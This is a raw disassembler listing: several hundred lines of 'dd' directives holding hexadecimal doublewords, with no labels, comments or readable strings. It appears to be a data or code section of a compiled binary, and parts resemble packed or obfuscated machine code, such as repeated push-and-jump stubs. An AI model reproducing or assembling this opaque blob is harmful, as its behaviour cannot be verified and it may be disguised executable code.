		dd 3F43A6CCh, 903A522Bh, 0D07D6823h, 1DCC1EF5h,	729CCCF1h
		dd 178F4DB4h, 0F2319879h, 0F9DB9CDCh, 0CCD96A43h, 35A0CCF7h
		dd 46BFCFE0h, 0EE092049h, 79DAA0C1h, 4B4669A8h,	90EB368h
		dd 4BF41D2h, 91521A1Bh,	0C0FA1B82h, 0CD313093h,	97140DEDh
		dd 3F86BA7h, 0C1EB6486h, 0CD5D7776h, 0C5A54879h, 0E18DCA77h
		dd 6B8C8846h, 3FA21308h, 2A2C7047h, 0A026ED55h,	0A45A9D94h
		dd 77AAA6C6h, 0EBD2B85Ah, 775E6007h, 44AF3C62h,	86FB3A47h
		dd 35D7E391h, 0DCC0B7B1h, 3915DC77h, 858CAF66h,	8B443EA9h
		dd 36953C62h, 49E7DE9Dh, 0C703668Ch, 9AC0F6BBh
		dd 24B00788h, 0FE97B019h, 0E1566149h, 40C15072h, 89326C1Fh
		dd 9BB7123Fh, 5C600804h, 811528C7h, 0B9744DA6h,	0EBDE8576h
		dd 23F5CCD8h, 2AF2CC7Bh, 0E8433A52h, 6E2D868Bh,	291D253h
		dd 0F1587AF8h, 3A522B0Dh, 6DF6F55Eh, 665F58F3h,	51936Ch
		dd 3F080000h, 0CCECB712h, 60A0021Dh, 82952C7Ah,	403B945Dh
		dd 2D159249h, 3C40A937h, 2C3A522Bh, 0A5569995h,	0BA89E2D7h
		dd 0E932A0CCh, 0EE379DDEh, 153B15FDh, 51FDD0B2h, 0B9B2213Ah
		dd 0D7041BAAh, 9072D5FBh, 0E13A522Bh, 0BFEA7972h, 50D104h
		dd 3FF20000h, 77383012h, 0C2AA9BD4h, 81621F5Ch,	0CCB281E2h
		dd 2B3F43A6h, 82253A52h, 0F44B84DEh, 0B368C384h, 0D1FC18BFh
		dd 57B35CC7h, 33433E38h, 0C5D8AA0Dh, 0CA29EC79h, 0CB81E4D1h
		dd 9EF59195h, 0CC2E05DEh, 50041BF7h, 8C7E7CB2h,	8F24BFEEh
		dd 1A1B04BFh, 4EAD18D9h, 40708E88h, 0CFCBB722h,	0AF1C0415h
		dd 9CADCDBCh, 8E214215h, 1C9B5093h, 4EAD08A5h, 483F193Ah
		dd 0D64CE30Eh, 4EC7DA91h, 0D61915ACh, 2D11B81Bh, 7E51DD56h
		dd 0FD94AE15h, 7628E304h, 0E8A9CA4Bh, 546E57F9h, 4D77D5E5h
		dd 0A8F6C093h, 9F72591Fh, 633C4566h, 0A77AF4A8h, 6C474A71h
		dd 42993AAFh, 4CE3D6D0h, 0DFD893D4h, 7603FB58h,	9285123Fh
		dd 0EB3D066Dh, 0D91A1BD8h, 0CBF026F9h, 6205EDC6h, 3A522B60h
		dd 3A4942B1h, 0F639F5CCh, 0F3303905h, 6C665F58h, 8B93h
		dd 29E8B700h, 672EDD7Fh, 78DB24CAh, 474A6DA9h, 0CC14AF6Ch
		dd 55CA23F5h, 0EB886B26h, 0D7CECD26h, 0CCD45F7Ah, 3FD4661Dh
		dd 3DF9C81Fh, 3715F7FAh, 3470CD91h, 747526CDh, 8067F224h
		dd 1F695141h, 0E3D5AD6Fh, 0A9B435E6h, 13A528Bh,	17431F8Ch
		dd 0FA5556CBh, 4B581395h, 1DCCA6CCh, 3A522B21h,	62DE772h
		dd 504BA80Bh, 56041B33h, 0E8955C76h, 0F158D747h, 3A51DD0Dh
		dd 0F9C5745Eh, 4A3A51DCh, 52E182E1h, 7BD104BFh,	0F2000000h
		dd 0E8E6A0CCh, 0CBBDC128h, 0A50E3A51h, 0C6CC15B7h, 5A7DD0D5h
		dd 0CCA6CCC9h, 522B211Dh, 0B019723Ah, 3A522BCEh, 0E71C5DB4h
		dd 17901A7Fh, 0E453BFBCh, 0C41C293Dh, 86E6805Ah, 0A8653C2Fh
		dd 0ACA28A87h, 0DCDF5807h, 0A4D89330h, 52594041h, 859B263Ch
		dd 43389B56h, 6E411FF9h, 0F5C970B3h, 4626BCA8h,	756E2EEDh
		dd 1BF7CC9Eh, 0BF4CD704h, 8224DCB3h, 522AEBD7h,	74CF3C3Ah
		dd 1A1BEC77h, 163618D9h, 0F10818FCh, 0F7373BD3h, 0C228468h
		dd 1937AE6Dh, 803396BCh, 812E9910h, 0B1CC82A2h,	3FF6C9A9h
		dd 598AFFFCh, 2D327E87h, 81A65C33h, 6B6C1F80h, 85DBD779h
		dd 3093837Ah, 0DCF9573Eh, 0CD45DCF6h, 0F0CE7AAh, 4259359Ah
		dd 0FD3807E9h, 45DCB7BAh, 0F8F1AACDh, 343B7C66h, 5C0EB015h
		dd 587A780Fh, 652C4BC9h, 82E3DF8Ah, 0D7348AFAh,	8635824h
		dd 7ABD7409h, 0FB3CF584h, 8D851CF6h, 2A38B16Ah,	0C5CBEC71h
		dd 708033ADh, 33E5BC96h, 0ED9A0F0Ch, 4F343E71h,	41215EC0h
		dd 0E37BAC96h, 0DD8EFD12h, 0CD0B02DAh, 0C43DB071h, 234E40A3h
		dd 0ADC0C1E2h, 192F3275h, 0C140FC5Ah, 40C1F09Eh, 1305621Fh
		dd 36000000h, 0FD22F5CCh, 6FE09BF4h, 66046753h,	144C778Eh
		dd 181B4C57h, 8A8B16DBh, 1815A869h, 8B871AD7h, 214A968h
		dd 978914DDh, 1C14A968h, 948B16DBh, 1D17AA67h, 81651BD6h
		dd 4ECh, 48F5400h, 24048324h, 0E0895004h, 405h,	4E88300h
		dd 5C240487h, 56240489h, 0C681E689h, 4,	8704EE83h, 895C2434h
		dd 0D5B82434h, 0F72CFD3Ah, 4C8605D8h, 0BA52794Eh, 79A21F8Ah
		dd 0F75AD009h, 0B8505D0h, 0EC8185D3h, 4, 83242489h, 5E042404h
		dd 50C28952h, 8B8h, 89F00100h, 8B5A5810h, 89522434h, 4C281E2h
		dd 83000000h, 148704C2h, 48B5C24h, 0E3895324h, 4C381h
		dd 0C3810000h, 4, 5C241C87h, 0F6A3F9E9h, 8FC788FFh, 354D7FBAh
		dd 5AB89451h, 307DFF7h,	0A4E0FFC5h, 0E73C9ECh, 397808ABh
		dd 766A4C9Ah, 8D33B332h, 0DFF8F68Dh, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0EC076C22h
		dd 29418D89h, 6A07D3h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0EC9BD6C3h, 0FC42BB78h, 0ADBF6A1Fh
		dd 0C75F490Dh, 0D32BA185h, 745C07h, 0BF0F6000h,	0BD8961DBh
		dd 7D32BDDh, 331185C7h,	7D3h, 0B5FF0000h, 7D326EDh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0F3C35545h, 0A7C30E0Eh
		dd 69EC9A8Fh, 8B0F6060h, 0
		dd 3625B961h, 0F613626h, 0F78BFABFh, 2D3D95FFh,	6A07D3h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BD8BBAC3h, 7D32065h, 95FF006Ah, 7D33019h, 1FEBC08Bh
		dd 0A31B611Ch, 0F03309D6h, 6C8E637Ah, 0E2468533h, 0C4C03821h
		dd 965D704Eh, 0E102796Bh, 0E826F293h, 10h, 927F594Dh, 0BF9F881Fh
		dd 9F806A31h, 0F6C07A27h, 2EE98523h, 665A07D3h,	56FBC681h
		dd 5D0AC281h, 0BD890000h, 7D3339Dh, 9D89FF33h, 7D31B9Dh
		dd 0F3A1C8Bh, 86h, 11C38100h, 0F7C2557h, 8Eh, 0C5EB8100h
		dd 890B1E09h, 0D331258Dh, 95EB8107h, 0F06F5FDh,	684h, 0CD952900h
		dd 5307D316h, 0E455B966h, 0F3A048Fh, 8B60C1BFh,	0D30B9185h
		dd 0EF836107h, 0D1B52901h, 4F07D30Dh, 8D8B4F4Fh, 7D33365h
		dd 0A388FF81h, 850FFFFFh, 0FFFFFF9Ch, 0DE8CB8Bh, 0D7000000h
		dd 60405679h, 95922D99h, 4F262DE5h, 151DBD29h, 0F5F07D3h
		dd 685h, 69EA8100h, 81450487h, 6E3BC7h,	0F5958B00h, 3307D316h
		dd 0D19D89C0h, 0FF07D329h, 9D893834h, 7D3237Dh,	818D895Eh
		dd 8107D31Dh, 212D4CF6h, 8B665265h, 0F6815AD6h,	0C69DC41h
		dd 0EE812CB3h, 69522B77h, 73489F9h, 13E8h, 4B0E0600h, 0CC5743E5h
		dd 32B8A180h, 914A1D17h, 0A9DA9DE4h, 5810Fh, 81660000h
		dd 5A87EEC2h, 197D8D8Bh, 0E88307D3h, 9810F01h, 0F000000h
		dd 380h, 0CA8B6600h, 0B1484848h, 74F88142h, 0FFFFF92h
		dd 0FFFF8685h, 0CA8166FFh, 8D8D7890h, 7DFFB0Dh,	89F8B70Fh
		dd 0D329418Dh, 0C7D98B07h, 0D32BA185h, 584007h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 6347FA1Fh, 0DF8B6645h, 331185C7h, 7D3h, 8B660000h, 0C9B5FFD8h
		dd 6A07D32Dh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 4AAAC350h, 5D2F2338h, 2D3D95FFh
		dd 6A07D3h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0E001CC3h, 6A86FB1Dh, 1995FF00h, 8B07D330h
		dd 0F718EBC0h, 8E6C7B49h, 47B4AE07h, 0C0E4BECDh, 0A24E86B0h
		dd 80D3D7B2h, 8D7ADFAEh, 0DFFBCB8Dh, 12E86007h,	4C000000h
		dd 2A9AC574h, 0B65E68C4h, 80880AA2h, 7715870Dh,	5F2AB3F3h
		dd 29C5B58Bh, 896107D3h, 0D329418Dh, 0D78B6607h, 2BA185C7h
		dd 605C07D3h, 0B58B0000h, 7D31579h, 24CA8166h, 1185C7B1h
		dd 7D333h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 3DB1C356h, 0EE035520h,	890F8277h
		dd 2, 0B5FFD48Ah, 7D32CB5h, 8D90B960h, 0DE81468Dh, 5C91FBAh
		dd 0F8F28161h, 0FF32B7F9h, 0D32D3D95h, 0FF006A07h, 0D3301995h
		dd 0EBC08B07h, 0C517AA7Eh, 0FFD1AC5Bh, 21D3A6EBh, 660983BFh
		dd 725F940Ah, 0EC65456Bh, 27C9D8A2h, 7F4F41F4h,	0DD9A16C8h
		dd 5E332F59h, 0F109F4EFh, 84D245C6h, 0E918DC39h, 0DC25B494h
		dd 0F156F844h, 0E08F6D35h, 0D9DB81E1h, 0D4D0127Fh, 0C3283044h
		dd 95EF2559h, 89906E50h, 2ECDB777h, 5CA8F193h, 0D59E604Fh
		dd 9A1DE7A2h, 0D6033D12h, 942C31A9h, 570B97A9h,	65620BE4h
		dd 216B7E03h, 0EBDFA567h, 8DA62FC6h, 0DFFD3F8Dh, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 72E3B0A3h, 0D8B81727h, 0BE9BE1Fh, 50000000h,	45DA41B9h
		dd 8C1B2CBEh, 68B3729Dh, 29418D89h, 6A07D3h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 12847DC3h
		dd 0D92D9677h, 2BA185C7h, 6AC007D3h, 8F0F0000h,	6, 1A8D9D29h
		dd 0B50907D3h, 7D3315Dh, 331185C7h, 7D3h, 858B0000h, 7D318A1h
		dd 1A79B5FFh, 6A07D3h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 9E9FEC3h, 0FA000000h, 545A0F9Eh
		dd 0CC6565B4h, 2D3D95FFh, 6A07D3h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 89EBB6C3h, 0D3126DBDh
		dd 0FF006A07h, 0D3301995h, 0EBC08B07h, 8A0F4E1Bh, 4C979402h
		dd 0D4AC136h, 479D2B39h, 2D9941Ch, 7B947681h, 55183889h
		dd 9E9h, 0FD37B200h, 49h, 0DEE90000h, 0D7000006h, 319E5A6Ah
		dd 0E58A6E7Eh, 33986070h, 0E8857181h, 0D3966272h, 95A51D28h
		dd 2C3CEC61h, 9CAC1FCCh, 2F3FEF5Ch, 31D0EFC7h, 5B5ED052h
		dd 49341434h, 0FA738595h, 14953848h, 7ED38E75h,	5466F853h
		dd 879747A4h, 3A4AFC71h, 71A00FC0h, 82C3400Fh, 0DEEDDB03h
		dd 12B9C981h, 7F4D9073h, 4674F653h, 10A7CCB4h, 73839343h
		dd 0A15565D6h, 9167772Ch, 715C6CDCh, 6593A312h,	7A49E8E3h
		dd 0C537F4Dh, 0A49A407Ah, 10C221h, 0B718B7ABh, 0A3156240h
		dd 0B52635C2h, 7D4B5BCAh, 2939F14Eh, 5402678Fh,	0B2D7B644h
		dd 0D885AC60h, 0FAF3A827h, 78BA1479h, 0C4C1E62Bh, 6674CCFBh
		dd 0B4E52C99h, 0B7957713h, 0EBCD16B8h, 0BBA7h, 7BB1800h
		dd 4989C1F7h, 0E8F8AA95h, 0EA2634C3h, 97319DDEh, 0BA6DCA61h
		dd 407A50AAh, 8EA5124Dh, 15104488h, 57B4E190h, 3B4BFAE5h
		dd 1BDDEBBDh, 44632B8Dh, 59B0F4Ch, 0C186CF70h, 595C7A00h
		dd 36517E50h, 0C2F8A75Fh, 0FA11D6D1h, 623B3862h, 0F41E2E0h
		dd 0F5F64359h, 1116157h, 31000000h, 74869649h, 0CAB958D9h
		dd 0BC537ED2h, 70DF10AAh, 0D2BFC263h, 0C6C7537Eh, 7ED31C27h
		dd 72586A53h, 772DA258h, 0B7C36467h, 0E9DC7766h, 4519BFF9h
		dd 0FBAC8B40h, 3E8D9D10h, 7F66A49Fh, 0EAE0E253h, 0D23240E3h
		dd 81778736h, 8A4702A7h, 0A6370AABh, 3B4F537Fh,	1ECB2B8Dh
		dd 7058A0B0h, 77819149h, 0BD5C69D6h, 537ED2C6h,	2120C1C0h
		dd 65537ED3h, 6A616761h, 3288980Dh, 0A6B327C8h,	7ED2FC07h
		dd 0D2F88A53h, 2B16C728h, 9C5E6C7Ch, 0D3917011h, 71F5537Eh
		dd 67AB6025h, 0A9AC4FFEh, 8AD6A393h, 0FCDA7237h, 0FEE62916h
		dd 3F1CABBCh, 0CE7B7B8Bh, 45AA5060h, 0EE4D8090h, 0FFC92F3Fh
		dd 0D5A21FB9h, 219C1E26h, 6F45263Fh, 0E5000000h, 4A819149h
		dd 0D42636EDh, 3298A81Bh, 48FD7288h, 75149538h,	537ED38Eh
		dd 0D2B29130h, 0D2D4537Eh, 0DFF9BFC3h, 76C5F2FFh, 0A744B4C4h
		dd 78D52333h, 9D46B4C4h, 0A7431DAAh, 3A263E89h,	5Bh, 819149CAh
		dd 7A65D677h, 0ADDE9DCCh, 0B3D8581Ch, 0A845B315h, 1DD22838h
		dd 98609AAAh, 9EFA3CCBh, 0A40332C9h, 4EDC1E2Eh,	0BFCF836Ch
		dd 96490F37h, 7EB97486h, 8AA277Dh, 0B119E889h, 596DCF6Eh
		dd 0D7912C5Fh, 0A20BD833h, 271D8C0Ch, 5E6D322Fh, 1E4CD406h
		dd 10D1Eh, 491D0000h, 0EA498494h, 0FAD02A3Ah, 12931AC0h
		dd 7ED39073h, 4674F653h, 0D32535A9h, 2617A489h,	0B60414C9h
		dd 6494A419h, 0C5B3A87Ah, 5655796Ch, 0EAF1EACh,	69DE7347h
		dd 67E3C25Fh, 5E180A3h,	421B8A20h, 0D4797F03h, 1C7B5262h
		dd 6FD9CA9h, 803B8C36h,	9C2ECCFEh, 0A115BA1Eh, 2F808B6h
		dd 0B558A228h, 3E9C3FA1h, 0D0A21703h, 0D5B255A6h, 695B8BA0h
		dd 0C2EBC8F2h, 16340125h, 4574E645h, 0B37AE6C0h, 7C7E4C28h
		dd 7D8D41AEh, 0C479563Bh, 0E68746B4h, 1A7426DBh, 68D617ABh
		dd 0B9BEA258h, 0BB881002h, 6F7F2F0Ch, 0F063C087h, 5F901AE0h
		dd 9117E1F1h, 818C627h,	0B9C97DF2h
		dd 0E1E8E3Fh, 0C1D183ECh, 146E5237h, 65C5CA22h,	3EF00700h
		dd 8AA95E29h, 84EC0C1Ch, 0ED342356h, 2298Bh, 0E6BC9B00h
		dd 6B1CBD10h, 1F54B898h, 760422DDh, 0C193EA9Bh,	8C099359h
		dd 0C274D3FAh, 6D8248B2h, 0E711A7B7h, 30C8D886h, 7C8C3A99h
		dd 0D1D913Eh, 520360EBh, 0DFE9F967h, 3242F4D9h,	13A89FC8h
		dd 76829244h, 1AECCCDEh, 3BF14E6Eh, 0BDFBCD2Bh,	0AFB5h
		dd 9637B600h, 9B5B3EABh, 79F1C7DBh, 2E328427h, 0D89A376Ah
		dd 0DEB460E2h, 9A116EEFh, 3CDD708Ah, 537F8F45h,	2D8B3D41h
		dd 6A6B167Eh, 823D8E1Ah, 525B7785h, 0DB5B30D3h,	92837F19h
		dd 8CC6281Bh, 6E4C5E98h, 3AB9213Fh, 475B1AA6h, 2A31FAB1h
		dd 121656Dh, 7B9A393Fh,	0B7DAC1Ch, 0B857BF72h, 92DEDCEEh
		dd 9F3C6BEBh, 0D89D3FEEh, 5DB8723h, 27C647C6h, 17E26C1Ch
		dd 2B62586Ah, 0F8F2B5B7h, 0A437F8A5h, 0BE1E3D46h, 0B65CB9E9h
		dd 26D4E459h, 0C80212C9h, 0B9EAA3F2h, 0B4CC8B96h, 78E60724h
		dd 12B89268h, 0D7E75CBBh, 275EF5E1h, 6E000001h,	0BD10E6BCh
		dd 47F571Ch, 49420BCFh,	1433C757h, 35003D9Ch, 366407C6h
		dd 0BCCC7A60h, 4F3F6C3Eh, 0E48526DFh, 0DAC9E618h, 85195C5Eh
		dd 3C4CFA73h, 74843291h, 0E2F6C486h, 4FA9B96Dh,	0D660A75Ch
		dd 78ABFBC9h, 0DEBFFCFFh, 32FB802Bh, 0A5522F69h, 781B2896h
		dd 0ECBC2F08h, 552C7F17h, 31604039h, 27D1E152h,	55A127A1h
		dd 0CBB657D6h, 0BB604038h, 814F11A7h, 0FB8120ABh, 9525CF33h
		dd 85AB427Eh, 3F135908h, 0FE5DB838h, 0DEEE644Fh, 83C2CEECh
		dd 0E254F9FFh, 7058FBD2h, 0E2F268D3h, 17E2BAC9h, 2A9637A1h
		dd 0BF6FE01Ah, 30A449AFh, 4850DA20h, 144ACCFBh,	60329C2Bh
		dd 0B1B4716Bh, 24BDEEFEh, 488345BEh, 0DEC1A8A7h, 0B528DBA4h
		dd 537553A5h, 44E76665h, 967FBCBDh, 22892FF6h, 0B85F8099h
		dd 220DBA19h, 7654A6B6h, 80476654h, 46C8638Bh, 546676E9h
		dd 7613E5Fh, 0BA19D028h, 2802F808h, 0DC7FFE92h,	30ED34AFh
		dd 0A4EFC954h, 0DC7D8425h, 7809D52Dh, 2DDBEAD9h, 0C00A9CD5h
		dd 0E0671EEBh, 0BF090DAAh, 0E6BC0F37h, 0FD1CBD10h, 518F6783h
		dd 0C6E8CF4Eh, 0A51271F0h, 29C86395h, 0EB2D055Ah, 8A309A2Ch
		dd 1BBA3423h, 8F135A3Bh, 42520469h, 0BAA519B6h,	0FECDFB0Bh
		dd 0D01D2DA1h, 20AA5060h, 0BE4D409Ah, 0D049808Fh, 0C74611D0h
		dd 1F48D574h, 4010DDFAh, 7B78433h, 0CB28FFF7h, 0AEBE715Ch
		dd 7D319E1Ch, 7DBD5E6Dh, 399EBD95h, 72DBFDBBh, 1648B2C2h
		dd 9BD9A31h, 0BE31D2F9h, 532EB4F5h, 0BC8B6B4Dh,	430ECB1Bh
		dd 0D7E10E8Ch, 0C23848F6h, 0D13h, 0C8273100h, 56F40616h
		dd 0A3152599h, 984989A9h, 49FD7288h, 9D0EBF39h,	56026B8Dh
		dd 873BB446h, 56CC8177h, 893BB446h, 5FCE7F79h, 9344A94Fh
		dd 68D67583h, 326Ch, 52240C89h,	0C281E289h, 4, 4EA81h
		dd 14870000h, 2C895C24h, 0E1895124h, 4C181h, 0E9830000h
		dd 240C8704h, 2414895Ch, 37CF6856h, 348B311Fh, 4C48324h
		dd 0F706EEC1h, 0AEEE81D6h, 89F75B85h, 8B545EF5h, 0C4832414h
		dd 18446804h, 2C890000h, 8428F24h, 5A2434FFh, 4C481h, 2C8B0000h
		dd 0E0895024h, 405h, 40500h, 4870000h, 7CE95C24h, 7BFFF507h
		dd 0EAC245B6h, 3CAB882h, 0C50307E0h, 690DE0FFh,	0C6861740h
		dd 0CAC12AF8h, 66BA7C55h, 96B10B3Ah, 64C850BEh,	19884984h
		dd 7FAE7F98h, 941776C9h, 77694367h, 5B8F00F7h, 2AAC4A4Bh
		dd 18A550A4h, 0FEF66185h, 0BDE63898h, 0B49F291Dh, 0AE83C40h
		dd 0F8000000h, 6E0BEB1h, 254FC7C8h, 5BF38BC5h, 0C16ABB9h
		dd 7CC3817Eh, 6600005Eh, 89E4F081h, 176FBFh, 0F6816600h
		dd 138B83E8h, 8158F953h, 0A8642AEAh, 0CFC28148h, 0F80A1FB8h
		dd 0BAFCC281h, 0E95313ADh, 12h,	1F927F59h, 31BF9F88h, 279F806Ah
		dd 8BF6C07Ah, 525E0DD5h, 11E860h, 0EEBA0000h, 3E3F8488h
		dd 23FD3917h, 1A610D62h, 0E97A801Fh, 0Eh, 9ECDA7A1h, 0C9902E78h
		dd 7FB769EFh, 0E85849A0h, 5, 0A2FB393Dh, 800F5Dh, 5A000000h
		dd 0B1038F61h, 58EB814Bh, 60588FA8h, 0FFBF0F60h, 6161CE8Bh
		dd 0A854C381h, 8B66588Fh, 1EF81F2h, 0F000000h, 0FFFF6985h
		dd 13E181FFh, 8D667ED7h, 0E0061E8Dh, 55006A07h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 41457F82h
		dd 0B0BB5F2Eh, 0E900C6D4h, 9, 5DB30E3Eh, 28929EE7h, 418D8915h
		dd 2907D329h, 0D30C519Dh, 0A185C707h, 407D32Bh,	8B000061h
		dd 0D30DE985h, 1185C707h, 7D333h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0E254C350h, 21751A97h, 0FFB3FD49h, 0D326EDB5h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0C692E480h, 2D3D95FFh, 0BD3107D3h, 7D300B5h,	95FF006Ah
		dd 7D33019h, 1FEBC08Bh,	0EF6128EEh, 139038D1h, 1A1A5A3Dh
		dd 0EC71F15Ah, 0B11F510Eh, 0AAB1AC3Bh, 70EF9A78h, 0C67131B4h
		dd 0D318D185h, 0DF685607h, 0FFA9C530h, 0D30DF1B5h, 6A858D07h
		dd 0FF07DC03h, 318D8DD0h, 5107D32Eh, 0B5FF406Ah, 7D32E7Dh
		dd 2BD9B5FFh, 0D0FF07D3h, 2E7DB5FFh, 0B5FF07D3h, 7D32BD9h
		dd 0EE8h, 70449400h, 13E31FB3h,	87B5C906h, 5EAD340Dh, 4EE835Eh
		dd 2242CC1h, 22424C1h, 0F7243403h, 0DB2B241Ch, 583334FFh
		dd 0C597E881h, 0F081562Fh, 0C779B05h, 0A981F081h, 4896E5Ah
		dd 2EB831Eh, 1C3B4B4Bh,	18850F24h, 0E9000000h, 2Bh, 5302C33Bh
		dd 11E924Ch, 0CB42BA28h, 0EF90E48Eh, 0E9CF4716h, 0FFFFFFBCh
		dd 620A9C9Ch, 10B1526Eh, 733075A3h, 0FCA532E6h,	8D3D0918h
		dd 0D31EDD9Dh, 0B038B07h, 7840FC0h, 8B000000h, 45B8B03h
		dd 0C98B1889h, 0C6E9h, 9218A100h, 459CD767h, 0E1C8C3CAh
		dd 0ACABDAB6h, 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh
		dd 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h
		dd 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h
		dd 97B1EFh, 0A5B4F94Eh,	6B5C009Fh, 924AF07Bh, 52D0008Ah
		dd 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh
		dd 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h
		dd 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh
		dd 0B6F66DB4h, 7293BCE1h, 97B3EDh, 43F1B6D0h, 0F0A8CDh
		dd 0
		dd 129D7447h, 5E99E0E3h, 3 dup(0)
		dd 0E9000000h, 1C6Fh, 0E00A5A68h, 0CA62E907h, 0B368FFF5h
		dd 0E907E00Bh, 0FFF5CA58h, 0E00CFE68h, 0CA4EE907h, 0F868FFF5h
		dd 0E907E00Eh, 0FFF5CA44h, 0E00FB568h, 0CA3AE907h, 7F68FFF5h
		dd 0E907E010h, 0FFF5CA30h, 0E0117268h, 0CA26E907h, 5C68FFF5h
		dd 0E907E012h, 0FFF5CA1Ch, 0E0132168h, 0CA12E907h, 6268FFF5h
		dd 0E907E015h, 0FFF5CA08h, 0E016FB68h, 0C9FEE907h, 0A368FFF5h
		dd 0E907E018h, 0FFF5C9F4h, 0E01A4D68h, 0C9EAE907h, 1468FFF5h
		dd 0E907E01Ch, 0FFF5C9E0h, 0E01D7A68h, 0C9D6E907h, 2968FFF5h
		dd 0E907E020h, 0FFF5C9CCh, 0E0217368h, 0C9C2E907h, 5737FFF5h
		dd 68432917h, 5A323828h, 62401E1Ah, 55343A26h, 0D1782315h
		dd 0E9D717F2h, 0F3E52103h, 0E0E01CF5h, 0DFE11DFAh, 80C7AD22h
		dd 0E5F4B5D3h, 3DDACC89h, 34E4C101h, 0A2E7C850h, 0B7A3CC08h
		dd 0A202A41Eh, 0F037DEF5h, 714D2A30h, 552BC48Bh, 0D9BBA9F3h
		dd 0AFC89D9Dh, 0C8AF98C8h, 7E200EC9h, 5B415642h, 0B95651C2h
		dd 5271C79Dh, 0D76ACA5Eh, 0EC49209Bh, 3D2D2D42h, 7CDB1162h
		dd 6EED7BFDh, 2A1E5E37h, 0A0EFBBDFh, 0ACB78D22h, 0CFD1B83Dh
		dd 0F58403B9h, 25F150A4h, 6430C9h, 37A30000h, 0CBF18808h
		dd 73BFC148h, 0EC8A92E5h, 2C10C7B0h, 0E1411640h, 9DCF11Bh
		dd 2B1BB455h, 170F114Dh, 0FC58EC4Bh, 3D24F87Fh,	0A2BB58ECh
		dd 1085CBCDh, 0ECAEB587h, 5A13BB58h, 635F189Eh,	45879087h
		dd 33B10B8Fh, 741F10h, 0B4C0E058h, 59F07F55h, 0FA22A408h
		dd 3A48233h, 0DE9A9BC7h, 10DEBh, 0E7C81D00h, 3816AFABh
		dd 0FB611F5Bh, 0DEDC1Ch, 5EF7E31Fh, 0DB5C03D9h,	11E9F355h
		dd 0A9491D1h, 0D8B5B365h, 0DB3118FCh, 0E196F355h, 0E7F2CAF6h
		dd 8A569B4Eh, 159E6171h, 305B3A3Ah, 2E4004AAh, 45231551h
		dd 4D2E2C68h, 0D0A42B2Ah, 8CB3AF5Fh, 0A5F186D2h, 85220401h
		dd 178CD3A9h, 7CF1F7A9h, 928E6753h, 280C83FCh, 0F7A91721h
		dd 372FF186h, 0F273DE6Eh, 0BCFC714Bh, 32FDFCFBh, 0B47BB754h
		dd 625E79E0h, 67195EF1h, 4A858A6Ah, 0E1C7C21h, 93285F24h
		dd 4742CA9Fh, 0A5770085h, 0F5577EBEh, 28644123h, 66123D3Ah
		dd 0D8B79740h, 0DAE898h, 0BD3F5478h, 0EF688F38h, 0E0E020FFh
		dd 55DF1FFAh, 12E26BD9h, 5647FC66h, 6E000019h, 88665292h
		dd 6D6B6DADh, 85635595h, 6B716FABh, 410C4C8Ch, 0FE3ED9EAh
		dd 0FE3ADCC2h, 33FDCC2h, 0FA36D7D5h, 0AE8E09BEh, 0F4B5D1A7h
		dd 0C8985C0Ch, 1AB7A9E9h, 0DB98BF95h, 78FDF355h, 0C905A288h
		dd 92E5AB97h, 0EB381C93h, 8615F512h, 0F0A51C5Eh, 59957254h
		dd 0A5919A7h, 408D790Dh, 4A78B44Eh, 0BF05AB6Dh,	0C196D6ADh
		dd 3B7718F6h, 51D7D33Dh, 2A4368C9h, 5205D26Fh, 1B68482Ch
		dd 0D95E2AC0h, 90315C03h, 3A2C418Ah, 2F752363h,	82D36A65h
		dd 49CE7C2Eh, 4D4D8E0Ch, 0DF54FBE1h, 34398A90h,	0F2D69386h
		dd 0D717h, 10C85h, 0E7C8BF00h, 0D2ADAFABh, 3F2FA892h, 0A3749061h
		dd 432C0903h, 97FC6C2Ch, 8D8CEB9Ah, 4719B20Dh, 2DEBD7E1h
		dd 8E9B703Dh, 0F4F06AADh, 0F632CFAEh, 0FB054Ch,	4E1E121h
		dd 4E872DEBh, 4181C160h, 0DBC4B464h, 0C0348DADh, 0A395D1AEh
		dd 0AEACE8C5h, 24ABAACDh, 28BB1C50h, 88540F5Ah,	51210A76h
		dd 0F7B8330h, 0FE3A3389h, 0CB07A589h, 0A1EA968Fh, 0FCE05756h
		dd 4960133h, 9F5C86CEh,	172F0346h, 0A260F457h, 53DC531Ch
		dd 0B14F9873h, 87704575h, 5965ECD0h, 254A70E0h,	0DA1AF573h
		dd 0E12100DEh, 2F1CE153h, 5BE87A95h, 17FDh, 7397915h, 0E4A8A21h
		dd 4347410h, 10508C26h,	312F6F0Ah, 2100C35Eh, 1BF9DFE1h
		dd 1EFBE1DFh, 17F8F6E2h, 0AF28DDDBh, 0B5D086CDh, 777BEBF4h
